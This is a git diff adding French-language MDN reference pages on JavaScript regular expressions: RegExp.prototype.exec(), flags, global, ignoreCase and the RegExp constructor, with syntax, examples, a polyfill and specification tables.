+<p>La méthode <strong><code>exec()</code></strong> exécute la recherche d'une correspondance sur une chaîne de caractères donnée. Elle renvoie un tableau contenant les résultats ou {{jsxref("null")}}.</p>
+
+<p>Si on souhaite uniquement savoir s'il y a une correspondance, on utilisera la méthode {{jsxref("RegExp.prototype.test()")}} ou la méthode {{jsxref("String.prototype.search()")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/regexp-prototype-exec.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Les objets représentant des expressions rationnelles gardent un état en mémoire lorsqu'ils utilisent les marqueurs {{jsxref("RegExp.global", "global")}} ou {{jsxref("RegExp.sticky", "sticky")}} et ils gardent notamment en mémoire {{jsxref("RegExp.lastIndex", "lastIndex")}} à partir de la correspondance précédemment trouvée. Ainsi, <code>exec()</code> peut être utilisée afin de parcourir plusieurs correspondances dans un texte (avec des groupes capturants) (contrairement à {{jsxref("String.prototype.match()")}}).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>regexObj</var>.exec(<var>chaîne</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>chaîne</code></dt>
+ <dd>La chaîne de caractères dans laquelle on recherche la correspondance décrite par l'expression rationnelle.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>S'il y a une correspondance, la méthode <code>exec()</code> renvoie un tableau (contenant des éléments et deux propriétés <code>index</code> et <code>values</code>, cf. ci-après) et met à jour les propriétés de l'objet représentant l'expression rationnelle (notamment {{jsxref("RegExp.lastIndex", "lastIndex")}}). Le tableau renvoyé contient le texte qui correspond dans le premier élément puis un élément pour chaque groupe capturé dans les parenthèses capturantes.</p>
+
+<p>S'il n'y a aucune correspondance, la méthode <code>exec()</code> renvoie {{jsxref("null")}} et la propriété {{jsxref("RegExp.lastIndex", "lastIndex")}} reçoit la valeur 0.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Si on a l'exemple suivant :</p>
+
+<pre class="brush: js">// On a une correspondance si on a "quick brown" suivi par "jumps", on ignore les caractères entre
+// On garde en mémoire "brown" et "jumps"
+// On ignore la casse
+var re = /quick\s(brown).+?(jumps)/ig;
+var result = re.exec('The Quick Brown Fox Jumps Over The Lazy Dog');
+</pre>
+
+<p>Le tableau suivant montre l'état résultant suite à ce script :</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td class="header">Objet</td>
+   <td class="header">Propriété/Index</td>
+   <td class="header">Description</td>
+   <td class="header">Exemple</td>
+  </tr>
+  <tr>
+   <td rowspan="4"><code>result</code></td>
+   <td><code>[0]</code></td>
+   <td>La chaîne complète des caractères qui correspondent.</td>
+   <td><code>"Quick Brown Fox Jumps"</code></td>
+  </tr>
+  <tr>
+   <td><code>[1], ...[<em>n</em> ]</code></td>
+   <td>Les sous-chaînes correspondantes aux groupes capturants s'il y en a. Le nombre de groupes de parenthèses capturantes est illimité.</td>
+   <td><code>result[1] === "Brown"<br>
+    result[2] === "Jumps"</code></td>
+  </tr>
+  <tr>
+   <td><code>index</code></td>
+   <td>L'indice (compté à partir de 0) de la correspondance dans la chaîne.</td>
+   <td><code>4</code></td>
+  </tr>
+  <tr>
+   <td><code>input</code></td>
+   <td>La chaîne de caractères utilisée en entrée.</td>
+   <td><code>"The Quick Brown Fox Jumps Over The Lazy Dog"</code></td>
+  </tr>
+  <tr>
+   <td rowspan="5"><code>re</code></td>
+   <td><code>lastIndex</code></td>
+   <td>L'indice à partir duquel chercher la prochaine correspondance. Lorsque le drapeau "g" est absent, cette propriété sera 0.</td>
+   <td><code>25</code></td>
+  </tr>
+  <tr>
+   <td><code>ignoreCase</code></td>
+   <td>Indique si le drapeau "<code>i</code>" a été utilisé pour ignorer la casse.</td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>global</code></td>
+   <td>Indique si le drapeau "<code>g</code>" a été utilisé pour la correspondance globale.</td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>multiline</code></td>
+   <td>Indique si le drapeau "<code>m</code>" a été utilisé pour chercher une correspondance sur plusieurs lignes.</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>source</code></td>
+   <td>Le texte du motif.</td>
+   <td><code>"quick\s(brown).+?(jumps)"</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Trouver_des_correspondances_successives">Trouver des correspondances successives</h3>
+
+<p>Si on utilise le drapeau "<code>g</code>" dans l'expression rationnelle, on peut utiliser la méthode <code>exec()</code> plusieurs fois afin de trouver les correspondances successives dans la chaîne. Lorsqu'on procède ainsi, la recherche reprend à la position indiquée par la propriété {{jsxref("RegExp.lastIndex", "lastIndex")}} ({{jsxref("RegExp.prototype.test()", "test()")}} fera également progresser la propriété {{jsxref("RegExp.lastIndex", "lastIndex")}}).</p>
+
+<p>On notera que la propriété {{jsxref("RegExp.lastIndex", "lastIndex")}} ne sera pas réinitialisée lors de la recherche sur une autre chaîne de caractères, c'est la valeur existante de {{jsxref("RegExp.lastIndex", "lastIndex")}} qui sera utilisée.</p>
+
+<p>Par exemple, si on utilise le fragment de code suivant :</p>
+
+<pre class="brush: js">var maRegex = /ab*/g;
+var str = 'abbcdefabh';
+var monTableau;
+while ((monTableau = maRegex.exec(str)) !== null) {
+  var msg = 'Trouvé ' + monTableau[0] + '. ';
+  msg += 'Prochaine correspondance à partir de ' + maRegex.lastIndex;
+  console.log(msg);
+}
+</pre>
+
+<p>Le script affichera alors :</p>
+
+<pre>Trouvé abb. Prochaine correspondance à partir de 3
+Trouvé ab. Prochaine correspondance à partir de 9
+</pre>
+
+<div class="warning">
+<p><strong>Attention</strong> à ne pas placer un littéral d'expression rationnelle (ou le constructeur {{jsxref("RegExp")}}) au sein de la condition <code>while</code> car cela créerait un boucle infinie s'il y a une correspondance car la propriété {{jsxref("RegExp.lastIndex", "lastIndex")}} serait redéfinie à chaque itération. Il faut également s'assurer que le drapeau global est défini sinon on aura également une boucle.</p>
+</div>
+
+<h3 id="Utiliser_exec()_avec_des_littéraux">Utiliser <code>exec()</code> avec des littéraux</h3>
+
+<p>Il est aussi possible d'utiliser <code>exec()</code> sans créer d'objet {{jsxref("RegExp")}} explicite :</p>
+
+<pre class="brush: js">var matches = /(coucou \S+)/.exec('Ceci est un coucou monde !');
+console.log(matches[1]);
+</pre>
+
+<p>Cela affichera 'coucou monde !'.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.10.6.21', 'RegExp.exec')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-regexp.prototype.exec', 'RegExp.exec')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-regexp.prototype.exec', 'RegExp.exec')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.RegExp.exec")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Le chapitre sur <a href="/fr/docs/Web/JavaScript/Guide/Expressions_régulières">les expressions rationnelles</a> du <a href="/fr/docs/Web/JavaScript/Guide">Guide JavaScript</a></li>
+ <li>{{jsxref("RegExp")}}</li>
+ <li>{{jsxref("String.prototype.match()")}}</li>
+ <li>{{jsxref("String.prototype.matchAll()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/flags/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/flags/index.html
new file mode 100644
index 0000000000..c110c30d38
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/regexp/flags/index.html
@@ -0,0 +1,80 @@
+---
+title: RegExp.prototype.flags
+slug: Web/JavaScript/Reference/Objets_globaux/RegExp/flags
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+  - RegExp
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/flags
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <strong><code>flags</code></strong> renvoie une chaîne de caractères contenant les <a href="/fr/docs/Web/JavaScript/Guide/Expressions_régulières#Effectuer_des_recherches_avanc.C3.A9es_en_utilisant_les_drapeaux_(flags)">drapeaux (<em>flags</em>)</a> de l'objet {{jsxref("RegExp")}} auquel elle appartient.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/regexp-prototype-flags.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div>{{js_property_attributes(0, 0, 1)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>Les drapeaux de la propriété <code>flags</code> sont rangés par ordre alphabétique de gauche à droite.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_flags">Utiliser <code>flags</code></h3>
+
+<pre class="brush: js">/toto/ig.flags;   // "gi"
+/truc/myu.flags;  // "muy"
+</pre>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<pre class="brush: js">if (RegExp.prototype.flags === undefined) {
+  Object.defineProperty(RegExp.prototype, 'flags', {
+    configurable: true,
+    get: function() {
+      return this.toString().match(/[gimuy]*$/)[0];
+    }
+  });
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-get-regexp.prototype.flags', 'RegExp.prototype.flags')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-get-regexp.prototype.flags', 'RegExp.prototype.flags')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.RegExp.flags")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("RegExp.prototype.source")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/global/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/global/index.html
new file mode 100644
index 0000000000..3c9666e0bf
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/regexp/global/index.html
@@ -0,0 +1,90 @@
+---
+title: RegExp.prototype.global
+slug: Web/JavaScript/Reference/Objets_globaux/RegExp/global
+tags:
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+  - RegExp
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/global
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>global</strong></code> indique si le marqueur (<em>flag</em>) "<code>g</code>" est utilisé pour l'expression rationnelle. <code>global</code> est une propriété accessible en lecture seule pour une expression rationnelle donnée.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/regexp-prototype-global.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div>{{js_property_attributes(0,0,1)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>La valeur de <code>global</code> est un booléen. Elle vaut <code>true</code> si le flag "<code>g</code>" a été utilisé, <code>false</code> sinon. Le <em>flag</em> "<code>g</code>" indique que l'expression rationnelle recherchera toutes les correspondances possibles d'une chaîne de caractères. Lorsqu'une expression rationnelle utilise à la fois les marqueurs <code>global</code> et <code>sticky</code> (respectivement <code>"g"</code> et <code>"y"</code>), elle ignorera le marqueur <code>global</code>.</p>
+
+<p>Cette propriété ne peut pas être modifiée directement.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:js">var regex = new RegExp("toto", "g");
+
+console.log(regex.global); // true
+
+var str = 'totoexempletoto';
+var str1 = str.replace(regex, '');
+
+console.log(str1);  // affichera "exemple" dans la console
+
+var regex1 = new RegExp('toto');
+var str2 = str.replace(regex1, '');
+
+console.log(str2);  // affichera "exempletoto" dans la console</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.2. Avec JavaScript 1.5 : <code>global</code> est une propriété d'une instance de {{jsxref("RegExp")}} et non une propriété de l'objet <code>RegExp</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.10.7.2', 'RegExp.prototype.global')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-get-regexp.prototype.global', 'RegExp.prototype.global')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td><code>global</code> est désormais un accesseur lié au prototype plutôt qu'une propriété de données liée à l'instance.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-get-regexp.prototype.global', 'RegExp.prototype.global')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.RegExp.global")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("RegExp.prototype.ignoreCase")}}</li>
+ <li>{{jsxref("RegExp.prototype.lastIndex")}}</li>
+ <li>{{jsxref("RegExp.prototype.multiline")}}</li>
+ <li>{{jsxref("RegExp.prototype.source")}}</li>
+ <li>{{jsxref("RegExp.prototype.sticky")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/ignorecase/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/ignorecase/index.html
new file mode 100644
index 0000000000..dfdf02cbad
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/regexp/ignorecase/index.html
@@ -0,0 +1,81 @@
+---
+title: RegExp.prototype.ignoreCase
+slug: Web/JavaScript/Reference/Objets_globaux/RegExp/ignoreCase
+tags:
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+  - RegExp
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/ignoreCase
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>ignoreCase</strong></code> indique si le drapeau (<em>flag</em>) "<code>i</code>" est utilisé ou non pour cette expression rationnelle. <code>ignoreCase</code> est une propriété accessible en lecture seule d'une instance d'expression rationnelle donnée.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/regexp-prototype-ignorecase.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div>{{js_property_attributes(0,0,1)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>La valeur de <code>ignoreCase</code> est un booléen. Elle vaut <code>true</code> si le flag "<code>i</code>" a été utilisé et <code>false</code> sinon. Le drapeau "<code>i</code>" indique si la recherche de correspondances doit être sensible à la casse ou non.</p>
+
+<p>Cette propriété ne peut pas être modifiée directement.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:js">var regex = new RegExp("toto", "i");
+
+console.log(regex.ignoreCase); // true
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.2. Avec JavaScript 1.5 : <code>ignoreCase</code> est une propriété d'une instance de {{jsxref("RegExp")}} et pas une propriété de l'objet <code>RegExp</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.10.7.3', 'RegExp.prototype.ignoreCase')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-get-regexp.prototype.ignorecase', 'RegExp.prototype.ignoreCase')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td><code>ignoreCase</code> est désormais une propriété du prototype sous forme d'accesseur plutôt qu'une propriété directe de l'instance.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-get-regexp.prototype.ignorecase', 'RegExp.prototype.ignoreCase')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("javascript.builtins.RegExp.ignoreCase")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("RegExp.prototype.global")}}</li>
+ <li>{{jsxref("RegExp.prototype.lastIndex")}}</li>
+ <li>{{jsxref("RegExp.prototype.multiline")}}</li>
+ <li>{{jsxref("RegExp.prototype.source")}}</li>
+ <li>{{jsxref("RegExp.prototype.sticky")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/index.html
new file mode 100644
index 0000000000..7ac6296f1f
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/regexp/index.html
@@ -0,0 +1,243 @@
+---
+title: RegExp
+slug: Web/JavaScript/Reference/Objets_globaux/RegExp
+tags:
+  - Constructeur
+  - Expressions rationnelles
+  - JavaScript
+  - Reference
+  - RegExp
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp
+---
+<div>{{JSRef}}</div>
+
+<p>Le constructeur <strong>RegExp</strong> crée un objet expression rationnelle pour la reconnaissance d'un modèle dans un texte.</p>
+
+<p>Pour une introduction aux expressions rationnelles, lire le <a href="/fr/docs/Web/JavaScript/Guide/Expressions_r%C3%A9guli%C3%A8res">chapitre Expressions rationnelles dans le Guide JavaScript</a>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/regexp-constructor.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Les notations littérales, par constructeur ou de base sont possibles :</p>
+
+<pre class="syntaxbox">/<em>modèle</em>/<var>marqueurs</var>
+new RegExp(<var>modèle</var>[, <em>marqueurs</em>])
+RegExp(<var>modèle</var>[, <em>marqueurs</em>])
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>modèle</code></dt>
+ <dd>Le texte de l'expression rationnelle ou, à partir d'ES5, un autre objet ou littéral <code>RegExp</code> à copier. Ce motif peut inclure <a href="/fr/docs/Web/JavaScript/Guide/Expressions_régulières#Types_de_caractères_spéciaux">certains caractères spéciaux</a> pour correspondre à un ensemble de valeurs plus large (qu'une simple chaîne littérale).</dd>
+ <dt><code>marqueurs</code></dt>
+ <dd>
+ <p>Si cet argument est utilisé, il indique les marqueurs à utiliser pour l'expression rationnelle. Ces valeurs remplaceront celles de l'objet à copier si <code>modèle</code> est un objet <code>RegExp</code> (<code>lastIndex</code> sera réinitialisé à 0 à partir d'ECMAScript 2015 / ES6). Cet argument est une chaîne de caractères qui peut contenir une combinaison des valeurs suivantes:</p>
+
+ <dl>
+  <dt><code>g</code></dt>
+  <dd>recherche globale ; retrouve toutes les correspondances plutôt que de s'arrêter après la première.</dd>
+  <dt><code>i</code></dt>
+  <dd>la casse est ignorée. Si le marqueur <code>u</code> est également activé, les caractères Unicode équivalents pour la casse correspondent.</dd>
+  <dt><code>m</code></dt>
+  <dd>multiligne : les caractères de début et de fin (^ et $) sont traités comme travaillant sur des lignes multiples (i.e, ils correspondent au début et à la fin de <em>chaque</em> ligne (délimitée par \n ou \r), pas seulement au début ou à la fin de la chaîne d'entrée complète).</dd>
+  <dt><code>u</code></dt>
+  <dd>unicode : traite le modèle comme une séquence de points de code Unicode (voir également <a href="/fr/docs/Web/API/DOMString/Binary">les chaînes binaires</a>).</dd>
+  <dt><code>y</code></dt>
+  <dd>adhérence : n'établit de correspondance qu'à partir de l'indice dans la chaîne cible indiqué par la propriété <code>lastIndex</code> de l'expression rationnelle (et ne cherche pas à établir de correspondance à partir d'indices au delà).</dd>
+  <dt><code>s</code></dt>
+  <dd>"dotAll" : permet d'indiquer que <code>.</code> peut correspondre à un saut de ligne.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Il existe deux façons de créer un objet <code>RegExp</code> : une notation littérale ou un constructeur. La notation littérale est délimitée par des barres obliques (<em>slashes</em>) tandis que le constructeur utilise des apostrophes. Ainsi, les expressions suivantes créent la même expression rationnelle :</p>
+
+<pre class="brush: js">/ab+c/i;                   // notation littérale
+new RegExp('ab+c', 'i');   // constructeur
+new RegExp(/ab+c/, 'i');   // notation littérale dans un constructeur
+</pre>
+
+<p>La notation littérale effectue la compilation de l'expression rationnelle lorsque l'expression est évaluée. Utilisez la notation littérale lorsque l'expression rationnelle reste constante. Par exemple, si vous utilisez la notation littérale pour construire une expression rationnelle utilisée dans une boucle, l'expression rationnelle ne sera pas recompilée à chaque itération.</p>
+
+<p>Le constructeur de l'objet expression rationnelle, par exemple <code>new RegExp('ab+c')</code>, effectue la compilation de l'expression rationnelle au moment de l'exécution. Utilisez la fonction constructeur quand vous savez que le modèle d'une expression rationnelle sera variable, ou si vous ne connaissez pas le modèle et que vous l'obtiendrez d'une autre source, telle qu'une saisie utilisateur.</p>
+
+<p>À partir d'ECMAScript 6, <code>new RegExp(/ab+c/, 'i')</code> ne déclenche plus d'exception {{jsxref("TypeError")}} ("can't supply flags when constructing one RegExp from another") lorsque le premier argument est une RegExp et que le second argument <code>marqueurs</code> est présent. Une nouvelle <code>RegExp</code> sera créée à la place à partir des arguments.</p>
+
+<p>Lorsqu'on utilise le constructeur, les règles normales d'échappement de chaîne (le fait de faire précéder d'un \ les caractères spéciaux à l'intérieur d'une chaîne) sont requises. Par exemple, les définitions suivantes sont équivalentes :</p>
+
+<pre class="brush: js">var re = /\w+/;
+var re = new RegExp('\\w+');
+</pre>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{jsxref("RegExp.prototype")}}</dt>
+ <dd>Cette propriété permet d'ajouter des propriétés à tous les objets qui sont des expressions rationnelles.</dd>
+ <dt><code>RegExp.length</code></dt>
+ <dd>La valeur de longueur pour le constructeur dont la valeur est 2.</dd>
+ <dt>{{jsxref("RegExp.@@species", "get RegExp[@@species]")}}</dt>
+ <dd>La fonction de construction utilisée pour créer les objets dérivés.</dd>
+ <dt>{{jsxref("RegExp.lastIndex")}}</dt>
+ <dd>L'indice à partir duquel rechercher la prochaine correspondance.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p>L'objet global <code>RegExp</code> ne possède pas de méthode propre. En revanche, il hérite de certaines méthodes via sa chaîne de prototypes.</p>
+
+<h2 id="Le_prototype_de_RegExp_et_les_instances">Le prototype de <code>RegExp</code> et les instances</h2>
+
+<h3 id="Propriétés_2">Propriétés</h3>
+
+<div>{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/RegExp/prototype', 'Propriétés')}}</div>
+
+<h3 id="Méthodes_2">Méthodes</h3>
+
+<div>{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/RegExp/prototype', 'Méthodes')}}</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_une_expression_rationnelle_pour_modifier_un_format_de_données">Utiliser une expression rationnelle pour modifier un format de données</h3>
+
+<p>Dans le script suivant, on utilise la méthode {{jsxref("String.prototype.replace()", "replace()")}} de {{jsxref("String")}} pour effectuer une correspondance sur le prénom et le nom pour les inverser. On utilise des parenthèses capturantes pour pouvoir utiliser les correspondances dans la construction du résultat (avec <code>$1</code> et <code>$2</code>).</p>
+
+<pre class="brush: js">var re = /(\w+)\s(\w+)/;
+var chaîne = 'Alain Dupont';
+var nouvelleChaîne = chaîne.replace(re, '$2, $1');
+console.log(nouvelleChaîne);
+</pre>
+
+<p>Cela affichera "Dupont, Alain".</p>
+
+<h3 id="Utiliser_une_expression_rationnelle_pour_découper_des_lignes_avec_différents_sauts_de_lignefins_de_ligne">Utiliser une expression rationnelle pour découper des lignes avec différents sauts de ligne/fins de ligne</h3>
+
+<p>La fin de ligne par défaut dépend de la plateforme (Unix, Windows, etc.). Cette méthode de découpage fournie permet de découper indépendamment de la plateforme utilisée.</p>
+
+<pre class="brush: js">var texte = 'Un texte\net un autre\r\npuis ensuite\rla fin';
+var lignes = texte.split(/\r\n|\r|\n/);
+console.log(lignes); // affiche [ 'Un texte', 'et un autre', 'puis ensuite', 'la fin' ]
+</pre>
+
+<p>On voit ici que l'ordre des modèles dans l'expression rationnelle importe.</p>
+
+<h3 id="Utiliser_une_expression_rationnelle_sur_plusieurs_lignes">Utiliser une expression rationnelle sur plusieurs lignes</h3>
+
+<pre class="brush: js">var s = 'Et voici\nune autre ligne !';
+s.match(/voici.*ligne/);
+// Renvoie null
+s.match(/voici[^]*ligne/);
+// Renvoie ['voici\nune autre ligne']
+</pre>
+
+<h3 id="Utiliser_une_expression_rationnelle_avec_le_marqueur_d'adhérence">Utiliser une expression rationnelle avec le marqueur d'adhérence</h3>
+
+<p>Cet exemple illustre comment on peut utiliser ce marqueur qui recherche une correspondance après {{jsxref("RegExp.prototype.lastIndex")}}.</p>
+
+<pre class="brush: js">var str = '#toto#';
+var regex = /toto/y;
+
+regex.lastIndex; // 0
+regex.test(str); // true
+regex.lastIndex = 1;
+regex.test(str); // true
+regex.lastIndex = 5;
+regex.test(str); // false (lastIndex est pris en compte avec ce marqueur)
+regex.lastIndex; // 0 (réinitialisation suite à l'échec)</pre>
+
+<h3 id="Les_expressions_rationnelles_et_les_caractères_Unicode">Les expressions rationnelles et les caractères Unicode</h3>
+
+<p>Comme mentionné ci-avant, les classes <code>\w</code> ou <code>\W</code> ne correspondent qu'à des caractères ASCII "a" à "z", "A" à "Z", "0" à "9" et "_". Pour effectuer des correspondances sur d'autres caractères (comme par exemple les caractères cyrilliques), on utilisera <code>\uhhhh</code>, où "hhhh" représente la valeur Unicode exprimée en hexadécimal. Cet exemple illustre comment il est possible de séparer les caractères Unicode d'un mot.</p>
+
+<pre class="brush: js">var texte = 'Образец text на русском языке';
+var regex = /[\u0400-\u04FF]+/g;
+
+var corresp = regex.exec(texte);
+console.log(corresp[0]);      // affiche 'Образец'
+console.log(regex.lastIndex); // affiche '7'
+
+var corresp2 = regex.exec(texte);
+console.log(corresp2[0]);     // affiche 'на' (n'affiche pas text
+console.log(regex.lastIndex); // affiche '15'
+
+// et ainsi de suite
+</pre>
+
+<p>Voici une ressource tierce pour obtenir les différents intervalles Unicode des différents alphabets : <a href="https://kourge.net/projects/regexp-unicode-block">Regexp-unicode-block</a>.</p>
+
